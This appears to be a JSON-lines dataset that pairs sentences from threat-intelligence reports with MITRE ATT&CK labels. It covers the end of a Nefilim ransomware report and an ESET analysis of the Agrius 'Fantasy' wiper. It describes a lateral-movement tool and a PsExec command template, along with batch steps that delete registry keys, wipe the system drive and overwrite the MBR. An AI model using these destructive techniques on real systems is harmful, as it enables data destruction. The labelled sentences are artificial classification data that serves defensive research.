5, 2020.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Two months previously, Toll Group was a victim of a Netwalker ransomware attack.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "In both cases, Toll Group refused to pay the ransom.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "In response, Nefilim leaked sensitive Toll Group data and popularized that Toll Group had failed to employ full cybersecurity protocols even after the Netwalker attack, potentially making the organization vulnerable to more attacks.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "This demonstrates how Nefilim will keep the pressure on its victims to pay ransoms.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Mitigation or Additional Important Safety Measures Network Keep strong and unique passwords for login accounts.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Disable RDP if not used.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "If required change RDP port to a non-standard port.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Configure firewall in following way,Deny access to Public IPs to important ports (in this case RDP port 3389)Allow access to only IP’s which are under your control.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Use VPN to access the network, instead of exposing RDP to the Internet.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Possibility implement Two Factor Authentication (2FA).Set lockout policy which hinders credentials guessing.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Create a separate network folder for each user when managing access to shared network folders.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Take regular data backup Protect systems from ransomware by periodically backing up important files regularly and keep a recent backup copy offline.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Encrypt your backup.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "If your computer gets infected with ransomware, your files can be restored from the offline backup once the malware has been removed.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Always use a combination of online and offline backup.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Do not keep offline backups connected to your system as this data could be encrypted when ransomware strike.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Keep software updated Always keep your security software (antivirus, firewall, etc.)", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "up to date to protect your computer from new variants of malware.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Regularly patch and update applications, software, and operating systems to address any exploitable software vulnerabilities.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Do not download cracked/pirated software as they risk backdoor entry for malware into your computer.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Avoid downloading software from untrusted P2P or torrent sites.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "In most cases, they are malicious software.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Having minimum required privileges Don’t assign Administrator privileges to users.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Most importantly, do not stay logged in as an administrator unless it is strictly necessary.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Also, avoid browsing, opening documents, or other regular work activities while logged in as an administrator.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Monitor for Lateral Movement To spot these attacks, keep an eye out not only for attack code but also monitor for any evidence of lateral movement and data exfiltration within the environment.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "To determine if an organization has been hit by Nefilim, check remote-access systems for any signs of unauthorized access.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "To identify potential data exfiltration, additionally identify unusual host outbound traffic patterns.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Nefilim TTP Map Initial AccessExecutionDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpactExploit", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Public-Facing Application (T1190)Native API (T1106)File Deletion (T1070.004)OS Credential Dumping (T1003)Software Discovery: Security Software Discovery (T1518.001)Lateral Tool Transfer (T1570)Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002)Data Encrypted for impact (T1486)Impair Defenses: Disable or Modify Tools (T1562:001)Remote System Discovery (T1018)Inhibit system Recovery (T1490)System Information Discovery (T1082)File and Directory Discovery (T1083) Indicators of Compromise (IOCs) SHA256 8be1c54a1a4d07c84b7454e789a26f04a30ca09933b41475423167e232abea2bb8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e3080b45bab3f804a297ec6d8f407ae762782fa092164f8ed4e106b1ee7e249537de8ca88e240fb905fc2e8fd5db6c5af82d8e21556f0ae36d055f623128c3377b227fa0485e34511627a8a4a7d3f1abb6231517be62d022916273b7a51b80a173bac058dbea51f52ce154fed0325fd835f35c1cd521462ce048b41c9b099e1e5353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd55ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c652e25bdd600695cfed0d4ee3aca4f121bfebf0de889593e6ba06282845cf39ea35a0bced28fd345f3ebfb37b6f9a20cc3ab36ab168e079498f3adb25b41e156f7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd65559908c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641D4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3B8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2efcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020 References https://www.zdnet.com/article/nemty-ransomware-operation-shuts-down/https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/https://www.bleepingcomputer.com/news/security/nemty-ransomware-punishes-victims-by-posting-their-stolen-data/https://www.trendmicro.com/vinfo/au/security/news/cybercrime-and-digital-threats/updated-analysis-on-nefilim-ransomware-s-behaviorhttps://www.bankinfosecurity.com/blogs/toll-group-data-leaked-following-second-ransomware-incident-p-2902https://www.tollgroup.com/toll-it-systems-updateshttps://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "ESET researchers analyzed a supply-chain attack abusing an Israeli software developer to deploy Fantasy, Agrius’s new wiper, with victims including the diamond industry ESET researchers discovered a new wiper and its execution tool, both attributed to the Agrius APT group, while analyzing a supply-chain attack abusing an Israeli software developer.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The group is known for its destructive operations.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "In February 2022, Agrius began targeting Israeli HR and IT consulting firms, and users of an Israeli software suite used in the diamond industry.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We believe that Agrius operators conducted a supply-chain attack abusing the Israeli software developer to deploy their new wiper, Fantasy, and a new lateral movement and Fantasy execution tool, Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The Fantasy wiper is built on the foundations of the previously reported Apostle wiper but does not attempt to masquerade as ransomware, as Apostle originally did.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Instead, it goes right to work wiping data.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Victims were observed in South Africa – where reconnaissance began several weeks before Fantasy was deployed – Israel, and Hong Kong.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Key points of this blogpost: Agrius conducted a supply-chain attack abusing an Israeli software suite used in the diamond industry.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The group then deployed a new wiper we named Fantasy.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Most of its code base comes from Apostle, Agrius’s previous wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Along with Fantasy, Agrius also deployed a new lateral movement and Fantasy execution tool that we have named Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Victims include Israeli HR firms, IT consulting companies, and a diamond wholesaler; a South African organization working in the diamond industry; and a jeweler in Hong Kong.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Group overview Agrius is a newer Iran-aligned group targeting victims in Israel and the United Arab Emirates since 2020.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The group initially deployed a wiper, Apostle, disguised as ransomware, but later modified Apostle into fully fledged ransomware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Agrius exploits known vulnerabilities in internet-facing applications to install webshells, then conducts internal reconnaissance before moving laterally and then deploying its malicious payloads.", "labels": ["T1190"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Campaign overview On February 20th, 2022 at an organization in the diamond industry in South Africa, Agrius deployed credential harvesting tools, probably in preparation for this campaign.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Then, on March 12th, 2022, Agrius launched the wiping attack by deploying Fantasy and Sandals, first to the victim in South Africa and then to victims in Israel and lastly to a victim in Hong Kong.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Victims in Israel include an IT support services company, a diamond wholesaler, and an HR consulting firm.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "South African victims are from a single organization in the diamond industry, with the Hong Kong victim being a jeweler.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Victim timeline and locations", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The campaign lasted less than three hours and within that timeframe ESET customers were already protected with detections identifying Fantasy as a wiper, and blocking its execution.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We observed the software developer pushing out clean updates within a matter of hours of the attack.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We reached out to the software developer to notify them about a potential compromise, but our enquiries went unanswered.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Preparing for departure The first tools deployed by Agrius operators to victim systems, through means unknown, were: MiniDump, “a C# implementation of mimikatz/pypykatz minidump functionality to get credentials from LSASS dumps” SecretsDump, a Python script that “performs various techniques to dump hashes from [a] remote machine without executing any agent there” Host2IP, a custom C#/.NET tool that resolves a hostname to an IP address.", "labels": ["T1003.001", "T1033"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Usernames, passwords, and hostnames collected by these tools are required for Sandals to successfully spread and execute the Fantasy wiper.", "labels": ["T1033", "T1082"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Agrius operators deployed MiniDump and SecretsDump to this campaign’s first victim on February 20th, 2022, but waited until March 12th, 2022 to deploy Host2IP, Fantasy, and Sandals (consecutively).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals: Igniting the Fantasy (wiper)", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals is a 32-bit Windows executable written in C#/.NET.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We chose the name because Sandals is an anagram of some of the command line arguments it accepts.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "It is used to connect to systems in the same network via SMB, to write a batch file to disk that executes the Fantasy wiper, and then run that batch file via PsExec with this command line string:", "labels": ["T1059.003", "T1570"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "PsExec.exe /accepteula -d -u “”", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "-p “”", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "-s “C:\\\\.bat” The PsExec options have the following meanings: -d – Don’t wait for process to terminate (non-interactive).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "/accepteula – Suppress display of the license dialog.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Run the remote process in the SYSTEM account.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals does not write the Fantasy wiper to remote systems.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We believe that the Fantasy wiper is deployed via a supply-chain attack using the software developer’s software update mechanism.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "This assessment is based on several factors: all victims were customers of the affected software developer; the Fantasy wiper was named in a similar fashion to legitimate versions of the software; all victims executed the Fantasy wiper within a 2.5 hour timeframe, where victims in South Africa were targeted first, then victims in Israel, and finally victims in Hong Kong (we attribute the delay in targeting to time zone differences and a hardcoded check-in time within the legitimate software); and, lastly, the Fantasy wiper was written to, and executed from, %SYSTEM%\\Windows\\Temp, the default temp directory for Windows systems.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Additionally, we believe the victims were already using PsExec, and Agrius operators chose to use PsExec to blend into typical administrative activity on the victims’ machines, and for ease of batch file execution.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Table 1 lists the command line arguments accepted by Sandals.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals arguments and their descriptions ArgumentDescriptionRequired -f", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "A path and filename to a file that contains a list of hostnames that should be targeted.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -u ", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The username that will be used to log into the remote hostname(s) in argument -f.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -p The username that will be used to log into the remote hostname(s) in argument -f.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -l The path and filename of the Fantasy wiper on the remote system that will be executed by the batch file created by Sandals.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Yes -d ", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The location to which Sandals will write the batch file on the remote system.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Default location is %WINDOWS%\\Temp.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No -s", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The amount of time, in seconds, that Sandals will sleep between writing the batch file to disk and executing.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The default is two seconds.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No -a file or-a random or-a rsaIf -a is followed by the word file and a path and filename, Sandals uses the encryption key in the supplied file.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If -a is followed by rsa or random, Sandals uses the RSACryptoServiceProvider class to generate a public-private key pair with a key size of 2,048.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No -dn Specifies which drive to connect with on a remote system over SMB.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Default is C:.No -ps Location of PsExec on disk.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Default is psexec.exe in the current working directory.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No -raIf -ra is supplied at runtime, it sets the variable flag to True (initially set to False).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If flag=True, Sandals deletes all files written to disk in the current working directory.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If flag=False, Sandals skips the file cleanup step.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "No The batch file written to disk by Sandals is named .bat, where the filename is the output of the Guid.", "labels": ["T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "NewGuid() method.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "An example of a Sandals batch file is shown in Figure 2.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals batch file (top, in red) and the decoded command line parameter (bottom, in blue)", "labels": ["T1027", "T1140"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The base64 string that follows fantasy35.exe is likely a relic of the execution requirements of Apostle (more details in the Attribution to Agrius section).", "labels": ["T1027"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "However, the Fantasy wiper only looks for an argument of 411 and ignores all other runtime input (see the next section for more information).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy wiper The Fantasy wiper is also a 32-bit Windows executable written in C#/.NET, so named for its filenames: fantasy45.exe and fantasy35.exe, respectively.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Figure 3 depicts the execution flow of the Fantasy wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy wiper execution flow Initially, Fantasy creates a mutex to ensure that only one instance is running.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "It collects a list of fixed drives but excludes the drive where the %WINDOWS% directory exists.", "labels": ["T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Then it enters a for loop iterating over the drive list to build a recursive directory listing, and uses the RNGCryptoServiceProvider.", "labels": ["T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "GetBytes method to create a cryptographically strong sequence of random values in a 4096-byte array.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If a runtime argument of 411 is supplied to the wiper, the for loop overwrites the contents of every file with the aforementioned byte array using a nested while loop.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Otherwise, the for loop only overwrites files with a file extension listed in the Appendix.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy then assigns a specific timestamp (2037-01-01 00:00:00) to these file timestamp properties: CreationTime LastAccessTime LastWriteTime CreationTimeUtc SetLastAccessTimeUtc LastWriteTimeUtc and then deletes the file.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "This is presumably done to make recovery and forensic analysis more difficult.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "During the for loop, the Fantasy wiper counts errors within the current directory when attempting to overwrite files.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "If the number of errors exceeds 50, it writes a batch file, %WINDOWS%\\Temp\\.bat, that deletes the directory with the files causing the errors, and then self-deletes.", "labels": ["T1027", "T1059.003", "T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "File wiping then resumes in the next directory in the target list.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Once the for loop completes, the Fantasy wiper creates a batch file in %WINDOWS%\\Temp called registry.bat.", "labels": ["T1059.003", "T1112"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "The batch file deletes the following registry keys: HKCR\\.EXE HKCR\\.dll HKCR\\* Then it runs the following to attempt to clear file system cache memory:", "labels": ["T1059.003", "T1112", "T1218.011"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "%windir%\\system32\\rundll32.exe advapi32.dll,ProcessIdleTasks Lastly, registry.bat deletes itself (del %0).", "labels": ["T1027", "T1218.011"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Next, the Fantasy wiper clears all Windows event logs and creates another batch file, system.bat, in %WINDOWS%\\Temp, that recursively deletes all files on %SYSTEMDRIVE%, attempts to clear file system cache memory, and self-deletes.", "labels": ["T1027", "T1059.003", "T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Then Fantasy sleeps for two minutes before overwriting the system’s Master Boot Record.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy then writes another batch file, %WINDOWS%\\Temp\\remover.bat, that deletes the Fantasy wiper from disk and then deletes itself.", "labels": ["T1027", "T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Then Fantasy wiper sleeps for 30 seconds before rebooting the system with reason code SHTDN_REASON_MAJOR_OTHER (0x00000000) — Other issue.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "It is likely that %SYSTEMDRIVE% recovery is possible.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Victims were observed to be back up and running within a matter of hours.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Attribution to Agrius Much of the code base from Apostle, initially a wiper masquerading as ransomware then updated to actual ransomware, was directly copied to Fantasy and many other functions in Fantasy were only slightly modified from Apostle, a known Agrius tool.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "However, the overall functionality of Fantasy is that of a wiper without any attempt to masquerade as ransomware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Figure 4 shows the file deletion functions in Fantasy and Apostle, respectively.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "There are only a few small tweaks between the original function in Apostle and the Fantasy implementation.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "File deletion functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green) Figure 4.", "labels": ["T1070.004"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "File deletion functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green) Figure 5 shows that the directory listing function is almost a direct copy, with only the function variables getting a slight tweak between Apostle and Fantasy.", "labels": ["T1070.004", "T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Directory listing functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green)", "labels": ["T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Finally, the GetSubDirectoryFileListRecursive function in Figure 6 is also almost an exact copy.", "labels": ["T1083", "T1106"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Recursive directory listing functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green)", "labels": ["T1083"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "In addition to the code reuse, we can see remnants of the Apostle execution flow in Fantasy.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "In the original analysis of Apostle, SentinelOne notes that “Proper execution of the ransomware version requires supplying it with a base64 encoded argument containing an XML of an ‘RSAParameters’ object.", "labels": ["T1027"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "This argument is passed on and saved as the Public Key used for the encryption process and is most likely generated on a machine owned by the threat actor.”", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "We can see in the batch file in Figure 7, which Sandals creates on remote systems to launch Fantasy, that the same base64-encoded argument containing an XML of an RSAParameters object is passed to Fantasy at runtime.", "labels": ["T1027", "T1059.003"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy, however, does not use this runtime argument.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Sandals passing to Fantasy the same RSAParameters object as was used by Apostle ransomware Conclusion Since its discovery in 2021, Agrius has been solely focused on destructive operations.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "To that end, Agrius operators probably executed a supply-chain attack by targeting an Israeli software company’s software updating mechanisms to deploy Fantasy, its newest wiper, to victims in Israel, Hong Kong, and South Africa.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy is similar in many respects to the previous Agrius wiper, Apostle, that initially masqueraded as ransomware before being rewritten to be actual ransomware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Fantasy makes no effort to disguise itself as ransomware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Agrius operators used a new tool, Sandals, to connect remotely to systems and execute Fantasy.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ESET Research also offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "For any inquiries about this service, visit the ESET Threat Intelligence page.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "IoCs SHA-1FilenameDetectionDescription 1A62031BBB2C3F55D44F59917FD32E4ED2041224fantasy35.exeMSIL/KillDisk.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "IFantasy wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "820AD7E30B4C54692D07B29361AECD0BB14DF3BEfantasy45.exeMSIL/KillDisk.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "1AAE62ACEE3C04A6728F9EDC3756FABD6E342252host2ip.execleanResolves a hostname to an IP address.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "5485C627922A71B04D4C78FBC25985CDB163313BMiniDump.exeMSIL/Riskware.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "LsassDumper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "HImplementation of Mimikatz minidump that dumps credentials from LSASS.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "DB11CBFFE30E0094D6DE48259C5A919C1EB57108registry.batBAT/Agent.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "NRGBatch file that wipes some registry keys and is dropped and executed by the Fantasy wiper.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "3228E6BC8C738781176E65EBBC0EB52020A44866secretsdump.pyPython/Impacket.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "APython script that dumps credential hashes.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "B3B1EDD6B80AF0CDADADD1EE1448056E6E1B3274spchost.exeMSIL/Agent.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "XHSandals lateral movement tool and Fantasy spreader.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "TacticIDNameDescription Resource DevelopmentT1587Develop CapabilitiesAgrius builds utility tools to use during an active exploitation process.", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "T1587.001Develop Capabilities: MalwareAgrius builds custom malware including wipers (Fantasy) and lateral movement tools (Sandals).", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Initial AccessT1078.002Valid Accounts: Domain AccountsAgrius operators attempted to capture cached credentials and then use them for lateral movement. T1078.003Valid Accounts: Local AccountsAgrius operators attempted to use cached credentials from local accounts to gain initial access to additional systems within an internal network.", "labels": ["T1078"], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "ExecutionT1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Fantasy a new Agrius wiper deployed through a supplychain attack"} {"sentence": "Windows Command ShellFantasy and Sandals both use batch files that run via the Windows command shell. Privilege EscalationT1134Access Token 